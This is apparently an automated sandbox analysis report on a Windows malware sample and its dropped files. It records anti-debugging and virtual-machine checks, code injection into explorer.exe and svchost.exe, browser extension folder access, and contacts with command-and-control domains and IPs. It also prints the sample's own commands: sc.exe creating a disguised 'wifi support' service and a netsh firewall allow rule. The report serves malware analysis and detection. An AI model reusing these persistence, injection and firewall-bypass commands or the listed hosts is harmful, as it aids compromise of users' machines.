
16_2_00406AA0

Source: C:\Windows\explorer.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\C7FA.exe

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\F65C.exe

Registry key enumerated: More than 150 enums for key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

Source: C:\Users\user\AppData\Local\Temp\DB31.exe

Evaded block: after key decision

Source: C:\Users\user\AppData\Local\Temp\F65C.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\tijXCZsbGe.exe	API call chain: ExitProcess graph end node	graph_0-20215
Source: C:\Users\user\AppData\Local\Temp\DB31.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\DB31.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\DB31.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Local\Temp\E748.exe	API call chain: ExitProcess graph end node

Source: C:\Users\user\AppData\Local\Temp\5C89.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\html\
Source: C:\Users\user\AppData\Local\Temp\5C89.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\_locales\
Source: C:\Users\user\AppData\Local\Temp\5C89.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\
Source: C:\Users\user\AppData\Local\Temp\5C89.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\images\
Source: C:\Users\user\AppData\Local\Temp\5C89.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\_locales\bg\
Source: C:\Users\user\AppData\Local\Temp\5C89.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\css\

Source: svchost.exe, 0000001C.00000002.825243630.000001C020EF6000.00000004.00000001.sdmp	Binary or memory string: "@Hyper-V RAW
Source: explorer.exe, 00000005.00000000.713141284.000000000A60E000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: 5C89.exe, 00000026.00000002.1045877274.0000000005215000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW<
Source: explorer.exe, 00000005.00000000.702279429.000000000A897000.00000004.00000001.sdmp	Binary or memory string: War&Prod_VMware_SATAY
Source: explorer.exe, 00000005.00000000.695877577.0000000006650000.00000004.00000001.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000005.00000000.713141284.000000000A60E000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: WerFault.exe, 0000000F.00000002.804479717.0000000004E25000.00000004.00000001.sdmp, WerFault.exe, 0000000F.00000003.800924790.0000000004DB9000.00000004.00000001.sdmp, WerFault.exe, 0000000F.00000002.804189922.0000000004DB9000.00000004.00000001.sdmp, WerFault.exe, 0000000F.00000003.800840679.0000000004E25000.00000004.00000001.sdmp, WerFault.exe, 0000000F.00000003.800707406.0000000004E25000.00000004.00000001.sdmp, svchost.exe, 0000001C.00000002.824833517.000001C020EA6000.00000004.00000001.sdmp, svchost.exe, 0000001C.00000002.825189731.000001C020EEC000.00000004.00000001.sdmp, 5C89.exe, 00000026.00000002.1045877274.0000000005215000.00000004.00000001.sdmp, 5C89.exe, 00000026.00000002.987388003.0000000002FDE000.00000004.00000020.sdmp	Binary or memory string: Hyper-V RAW
Source: explorer.exe, 00000005.00000000.707345140.0000000004710000.00000004.00000001.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000[Wm
Source: explorer.exe, 00000005.00000000.702098679.000000000A716000.00000004.00000001.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000/
Source: svchost.exe, 00000022.00000002.955589491.0000000000C00000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll-Cn
Source: explorer.exe, 00000005.00000000.702137033.000000000A784000.00000004.00000001.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000@
Source: WerFault.exe, 0000000F.00000003.800924790.0000000004DB9000.00000004.00000001.sdmp, WerFault.exe, 0000000F.00000002.804189922.0000000004DB9000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAWkC!-
Source: WerFault.exe, 0000000F.00000003.798946162.0000000004E25000.00000004.00000001.sdmp, WerFault.exe, 0000000F.00000003.798514036.0000000004E28000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: explorer.exe, 00000005.00000000.702098679.000000000A716000.00000004.00000001.sdmp	Binary or memory string: -98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&^

Source: C:\Users\user\Desktop\tijXCZsbGe.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\E748.exe

Code function: 17_2_00401D96 CreateThread,GetVersionExA,GetSystemInfo,GetModuleHandleA,GetProcAddress,GetCurrentProcess,GetTickCount,

17_2_00401D96

Source: C:\Users\user\Desktop\tijXCZsbGe.exe	Code function: 0_2_00419BC1 BuildCommDCBAndTimeoutsW,CreateMailslotA,CallNamedPipeA,ReleaseSemaphore,FindAtomA,SystemTimeToTzSpecificLocalTime,SetComputerNameExA,SetConsoleCursorInfo,TlsGetValue,CopyFileA,GetLongPathNameA,SetVolumeMountPointW,SetProcessPriorityBoost,FreeEnvironmentStringsA,GetDriveTypeW,FindFirstFileExW,	0_2_00419BC1
Source: C:\Users\user\AppData\Local\Temp\DB31.exe	Code function: 16_2_00405E40 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,lstrlen,PathMatchSpecA,CopyFileA,DeleteFileA,PathMatchSpecA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	16_2_00405E40
Source: C:\Users\user\AppData\Local\Temp\DB31.exe	Code function: 16_2_004096E0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	16_2_004096E0
Source: C:\Users\user\AppData\Local\Temp\DB31.exe	Code function: 16_2_00401280 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	16_2_00401280
Source: C:\Users\user\AppData\Local\Temp\DB31.exe	Code function: 16_2_00401090 SetCurrentDirectoryA,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	16_2_00401090
Source: C:\Users\user\AppData\Local\Temp\DB31.exe	Code function: 16_2_00409B40 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,FindNextFileA,FindClose,	16_2_00409B40
Source: C:\Users\user\AppData\Local\Temp\DB31.exe	Code function: 16_2_00409970 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	16_2_00409970
Source: C:\Users\user\AppData\Local\Temp\DB31.exe	Code function: 16_2_004087E0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	16_2_004087E0

Source: C:\Users\user\Desktop\tijXCZsbGe.exe

System information queried: ModuleInformation

Jump to behavior

Anti Debugging:

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Show sources

Source: C:\Users\user\Desktop\tijXCZsbGe.exe	System information queried: CodeIntegrityInformation			Jump to behavior
Source: C:\Users\user\AppData\Roaming\rifsswe	System information queried: CodeIntegrityInformation			Jump to behavior

Source: C:\Users\user\Desktop\tijXCZsbGe.exe

0_2_0042D9F0

Source: C:\Users\user\AppData\Roaming\rifsswe	Code function: 9_2_00630042 push dword ptr fs:[00000030h]	9_2_00630042
Source: C:\Users\user\AppData\Local\Temp\9334.exe	Code function: 11_2_00470083 push dword ptr fs:[00000030h]	11_2_00470083
Source: C:\Users\user\AppData\Local\Temp\9334.exe	Code function: 11_2_0048092B mov eax, dword ptr fs:[00000030h]	11_2_0048092B
Source: C:\Users\user\AppData\Local\Temp\9334.exe	Code function: 11_2_00480D90 mov eax, dword ptr fs:[00000030h]	11_2_00480D90
Source: C:\Users\user\AppData\Local\Temp\DB31.exe	Code function: 16_2_00401000 mov eax, dword ptr fs:[00000030h]	16_2_00401000
Source: C:\Users\user\AppData\Local\Temp\DB31.exe	Code function: 16_2_0040C180 mov eax, dword ptr fs:[00000030h]	16_2_0040C180
Source: C:\Users\user\AppData\Local\Temp\E748.exe	Code function: 17_2_0063092B mov eax, dword ptr fs:[00000030h]	17_2_0063092B
Source: C:\Users\user\AppData\Local\Temp\E748.exe	Code function: 17_2_00630D90 mov eax, dword ptr fs:[00000030h]	17_2_00630D90
Source: C:\Users\user\AppData\Local\Temp\E748.exe	Code function: 17_2_00893515 push dword ptr fs:[00000030h]	17_2_00893515

Source: C:\Users\user\Desktop\tijXCZsbGe.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\AppData\Roaming\rifsswe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\tijXCZsbGe.exe

Code function: 0_2_0043B960 IsDebuggerPresent,DebuggerProbe,

0_2_0043B960

Source: C:\Users\user\AppData\Local\Temp\DB31.exe

Code function: 16_2_004048D0 VirtualProtect ?,00000004,00000100,00000000

16_2_004048D0

Source: C:\Users\user\Desktop\tijXCZsbGe.exe

Code function: 0_2_0042CDF2 InterlockedIncrement,__itow_s,__invoke_watson_if_error,OutputDebugStringW,OutputDebugStringW,OutputDebugStringW,OutputDebugStringW,OutputDebugStringW,__strftime_l,__invoke_watson_if_oneof,_wcscpy_s,__invoke_watson_if_error,_wcscpy_s,__invoke_watson_if_error,_wcscat_s,__invoke_watson_if_error,_wcscat_s,__invoke_watson_if_error,_wcscat_s,__invoke_watson_if_error,__snwprintf_s,__invoke_watson_if_oneof,_wcscpy_s,__invoke_watson_if_error,__invoke_watson_if_oneof,_wcscpy_s,__invoke_watson_if_error,GetFileType,_wcslen,WriteConsoleW,GetLastError,__invoke_watson_if_oneof,_wcslen,WriteFile,WriteFile,OutputDebugStringW,__itow_s,__invoke_watson_if_error,___crtMessageWindowW,

0_2_0042CDF2

Source: C:\Users\user\Desktop\tijXCZsbGe.exe

0_2_00419E0A

Source: C:\Users\user\AppData\Local\Temp\F65C.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\DB31.exe

Memory protected: page guard

Jump to behavior

Source: C:\Users\user\Desktop\tijXCZsbGe.exe	Code function: 0_2_0043AD20 _raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0043AD20
Source: C:\Users\user\Desktop\tijXCZsbGe.exe	Code function: 0_2_00422E10 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00422E10
Source: C:\Users\user\Desktop\tijXCZsbGe.exe	Code function: 0_2_0042BF30 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_0042BF30
Source: C:\Users\user\Desktop\tijXCZsbGe.exe	Code function: 0_2_004287A0 SetUnhandledExceptionFilter,	0_2_004287A0
Source: C:\Users\user\AppData\Local\Temp\9334.exe	Code function: 11_2_0040976C IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	11_2_0040976C
Source: C:\Users\user\AppData\Local\Temp\E748.exe	Code function: 17_2_00409A6B EntryPoint,SetErrorMode,SetErrorMode,SetErrorMode,SetUnhandledExceptionFilter,GetModuleHandleA,GetModuleFileNameA,GetCommandLineA,lstrlenA,ExitProcess,GetTempPathA,lstrcpyA,lstrcatA,lstrcatA,GetFileAttributesExA,DeleteFileA,GetEnvironmentVariableA,lstrcpyA,lstrlenA,RegOpenKeyExA,RegSetValueExA,RegCloseKey,GetModuleHandleA,GetModuleFileNameA,GetDriveTypeA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,wsprintfA,lstrcatA,lstrcatA,CreateProcessA,DeleteFileA,GetModuleHandleA,GetModuleFileNameA,GetDriveTypeA,GetCommandLineA,lstrlenA,StartServiceCtrlDispatcherA,DeleteFileA,GetLastError,Sleep,DeleteFileA,CreateThread,CreateThread,WSAStartup,CreateThread,Sleep,Sleep,GetTickCount,GetTickCount,GetTickCount,Sleep,	17_2_00409A6B
Source: C:\Windows\SysWOW64\xzxafeeu\gecrjwsv.exe	Code function: 32_2_00409A6B EntryPoint,SetErrorMode,SetErrorMode,SetErrorMode,SetUnhandledExceptionFilter,GetModuleHandleA,GetModuleFileNameA,GetCommandLineA,lstrlenA,ExitProcess,GetTempPathA,lstrcpyA,lstrcatA,lstrcatA,GetFileAttributesExA,DeleteFileA,GetEnvironmentVariableA,lstrcpyA,lstrlenA,RegOpenKeyExA,RegSetValueExA,RegCloseKey,GetModuleHandleA,GetModuleFileNameA,GetDriveTypeA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,wsprintfA,lstrcatA,lstrcatA,CreateProcessA,DeleteFileA,GetModuleHandleA,GetModuleFileNameA,GetDriveTypeA,GetCommandLineA,lstrlenA,StartServiceCtrlDispatcherA,DeleteFileA,GetLastError,Sleep,DeleteFileA,CreateThread,CreateThread,WSAStartup,CreateThread,Sleep,Sleep,GetTickCount,GetTickCount,GetTickCount,Sleep,	32_2_00409A6B

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 40.93.207.0 25
Source: C:\Windows\explorer.exe	Domain query: patmushta.info
Source: C:\Windows\explorer.exe	Domain query: cdn.discordapp.com
Source: C:\Windows\explorer.exe	Network Connect: 188.166.28.199 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: unicupload.top
Source: C:\Windows\explorer.exe	Network Connect: 185.233.81.115 187	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 185.188.183.61 443
Source: C:\Windows\explorer.exe	Network Connect: 185.7.214.171 144	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: host-data-coin-11.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: microsoft-com.mail.protection.outlook.com
Source: C:\Windows\explorer.exe	Domain query: goo.su
Source: C:\Windows\explorer.exe	Domain query: transfer.sh
Source: C:\Windows\explorer.exe	Domain query: a0621298.xsph.ru
Source: C:\Windows\explorer.exe	Network Connect: 185.186.142.166 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: data-host-coin-8.com

Benign windows process drops PE files

Show sources

Source: C:\Windows\explorer.exe

File created: 6FB4.exe.5.dr

Jump to dropped file

Maps a DLL or memory area into another process

Show sources

Source: C:\Users\user\Desktop\tijXCZsbGe.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\Desktop\tijXCZsbGe.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Roaming\rifsswe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\rifsswe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior

Allocates memory in foreign processes

Show sources

Source: C:\Windows\SysWOW64\xzxafeeu\gecrjwsv.exe

Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 5D0000 protect: page execute and read and write

Injects a PE file into a foreign processes

Show sources

Source: C:\Users\user\AppData\Roaming\rifsswe	Memory written: C:\Users\user\AppData\Roaming\rifsswe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Memory written: C:\Users\user\AppData\Local\Temp\F65C.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\SysWOW64\xzxafeeu\gecrjwsv.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5D0000 value starts with: 4D5A

Contains functionality to inject code into remote processes

Show sources

Source: C:\Users\user\AppData\Roaming\rifsswe

Code function: 9_2_00630110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,SetThreadContext,ResumeThread,ExitProcess,

9_2_00630110

Creates a thread in another existing process (thread injection)

Show sources

Source: C:\Users\user\Desktop\tijXCZsbGe.exe	Thread created: C:\Windows\explorer.exe EIP: 4DF1930			Jump to behavior
Source: C:\Users\user\AppData\Roaming\rifsswe	Thread created: unknown EIP: 4F11930			Jump to behavior

Writes to foreign memory regions

Show sources

Source: C:\Windows\SysWOW64\xzxafeeu\gecrjwsv.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 5D0000
Source: C:\Windows\SysWOW64\xzxafeeu\gecrjwsv.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 79A008

.NET source code references suspicious native API functions

Show sources

Source: F65C.exe.5.dr, oiranecSnoitcetorPnoitcetorPdednetxEnoitacitnehtuAytiruceSmetsyS75887.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: F65C.exe.5.dr, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 18.0.F65C.exe.ab0000.2.unpack, oiranecSnoitcetorPnoitcetorPdednetxEnoitacitnehtuAytiruceSmetsyS75887.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 18.0.F65C.exe.ab0000.2.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 18.0.F65C.exe.ab0000.1.unpack, oiranecSnoitcetorPnoitcetorPdednetxEnoitacitnehtuAytiruceSmetsyS75887.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 18.0.F65C.exe.ab0000.1.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 18.0.F65C.exe.ab0000.3.unpack, oiranecSnoitcetorPnoitcetorPdednetxEnoitacitnehtuAytiruceSmetsyS75887.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 18.0.F65C.exe.ab0000.3.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 18.0.F65C.exe.ab0000.0.unpack, oiranecSnoitcetorPnoitcetorPdednetxEnoitacitnehtuAytiruceSmetsyS75887.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 18.0.F65C.exe.ab0000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 35.0.F65C.exe.400000.6.unpack, NativeHelper.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32.dll'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 35.0.F65C.exe.4d0000.13.unpack, oiranecSnoitcetorPnoitcetorPdednetxEnoitacitnehtuAytiruceSmetsyS75887.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 35.0.F65C.exe.4d0000.13.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 35.0.F65C.exe.4d0000.1.unpack, oiranecSnoitcetorPnoitcetorPdednetxEnoitacitnehtuAytiruceSmetsyS75887.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 35.0.F65C.exe.4d0000.1.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 35.0.F65C.exe.4d0000.7.unpack, oiranecSnoitcetorPnoitcetorPdednetxEnoitacitnehtuAytiruceSmetsyS75887.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 35.0.F65C.exe.4d0000.7.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')

Source: C:\Users\user\Desktop\tijXCZsbGe.exe	Process created: C:\Users\user\Desktop\tijXCZsbGe.exe "C:\Users\user\Desktop\tijXCZsbGe.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\rifsswe	Process created: C:\Users\user\AppData\Roaming\rifsswe C:\Users\user\AppData\Roaming\rifsswe	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 7100 -ip 7100	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7100 -s 264	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E748.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\xzxafeeu\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E748.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\user\AppData\Local\Temp\gecrjwsv.exe" C:\Windows\SysWOW64\xzxafeeu\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E748.exe	Process created: C:\Windows\SysWOW64\sc.exe C:\Windows\System32\sc.exe" create xzxafeeu binPath= "C:\Windows\SysWOW64\xzxafeeu\gecrjwsv.exe /d\"C:\Users\user\AppData\Local\Temp\E748.exe\"" type= own start= auto DisplayName= "wifi support	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E748.exe	Process created: C:\Windows\SysWOW64\sc.exe C:\Windows\System32\sc.exe" description xzxafeeu "wifi internet conection	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E748.exe	Process created: C:\Windows\SysWOW64\sc.exe "C:\Windows\System32\sc.exe" start xzxafeeu	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E748.exe	Process created: C:\Windows\SysWOW64\netsh.exe "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F65C.exe	Process created: C:\Users\user\AppData\Local\Temp\F65C.exe C:\Users\user\AppData\Local\Temp\F65C.exe	Jump to behavior
Source: C:\Windows\SysWOW64\xzxafeeu\gecrjwsv.exe	Process created: C:\Windows\SysWOW64\svchost.exe svchost.exe

Source: C:\Users\user\AppData\Local\Temp\E748.exe

Code function: 17_2_00406EDD AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

17_2_00406EDD

Source: C:\Users\user\AppData\Local\Temp\E748.exe

Code function: 17_2_00407809 CreateThread,GetUserNameA,LookupAccountNameA,GetLengthSid,GetFileSecurityA,GetSecurityDescriptorOwner,EqualSid,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetFileSecurityA,LocalFree,GetSecurityDescriptorDacl,GetAce,EqualSid,DeleteAce,EqualSid,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,SetFileSecurityA,LocalFree,

17_2_00407809

Source: explorer.exe, 00000005.00000000.691706298.0000000000AD8000.00000004.00000020.sdmp, explorer.exe, 00000005.00000000.706546747.0000000000AD8000.00000004.00000020.sdmp, explorer.exe, 00000005.00000000.681908870.0000000000AD8000.00000004.00000020.sdmp	Binary or memory string: ProgmanMD6
Source: explorer.exe, 00000005.00000000.682065260.0000000001080000.00000002.00020000.sdmp, explorer.exe, 00000005.00000000.691924618.0000000001080000.00000002.00020000.sdmp, explorer.exe, 00000005.00000000.706731711.0000000001080000.00000002.00020000.sdmp, 9334.exe, 0000000B.00000000.766594639.0000000000D20000.00000002.00020000.sdmp, 9334.exe, 0000000B.00000000.767305300.0000000000D20000.00000002.00020000.sdmp, E748.exe, 00000011.00000002.968917463.0000000000E10000.00000002.00020000.sdmp, 5C89.exe, 00000026.00000002.1003144120.0000000003890000.00000002.00020000.sdmp	Binary or memory string: Program Manager
Source: explorer.exe, 00000005.00000000.683418224.0000000005E50000.00000004.00000001.sdmp, explorer.exe, 00000005.00000000.682065260.0000000001080000.00000002.00020000.sdmp, explorer.exe, 00000005.00000000.691924618.0000000001080000.00000002.00020000.sdmp, explorer.exe, 00000005.00000000.706731711.0000000001080000.00000002.00020000.sdmp, 9334.exe, 0000000B.00000000.766594639.0000000000D20000.00000002.00020000.sdmp, 9334.exe, 0000000B.00000000.767305300.0000000000D20000.00000002.00020000.sdmp, E748.exe, 00000011.00000002.968917463.0000000000E10000.00000002.00020000.sdmp, 5C89.exe, 00000026.00000002.1003144120.0000000003890000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000005.00000000.682065260.0000000001080000.00000002.00020000.sdmp, explorer.exe, 00000005.00000000.691924618.0000000001080000.00000002.00020000.sdmp, explorer.exe, 00000005.00000000.706731711.0000000001080000.00000002.00020000.sdmp, 9334.exe, 0000000B.00000000.766594639.0000000000D20000.00000002.00020000.sdmp, 9334.exe, 0000000B.00000000.767305300.0000000000D20000.00000002.00020000.sdmp, E748.exe, 00000011.00000002.968917463.0000000000E10000.00000002.00020000.sdmp, 5C89.exe, 00000026.00000002.1003144120.0000000003890000.00000002.00020000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000005.00000000.682065260.0000000001080000.00000002.00020000.sdmp, explorer.exe, 00000005.00000000.691924618.0000000001080000.00000002.00020000.sdmp, explorer.exe, 00000005.00000000.706731711.0000000001080000.00000002.00020000.sdmp, 9334.exe, 0000000B.00000000.766594639.0000000000D20000.00000002.00020000.sdmp, 9334.exe, 0000000B.00000000.767305300.0000000000D20000.00000002.00020000.sdmp, E748.exe, 00000011.00000002.968917463.0000000000E10000.00000002.00020000.sdmp, 5C89.exe, 00000026.00000002.1003144120.0000000003890000.00000002.00020000.sdmp	Binary or memory string: Progmanlock
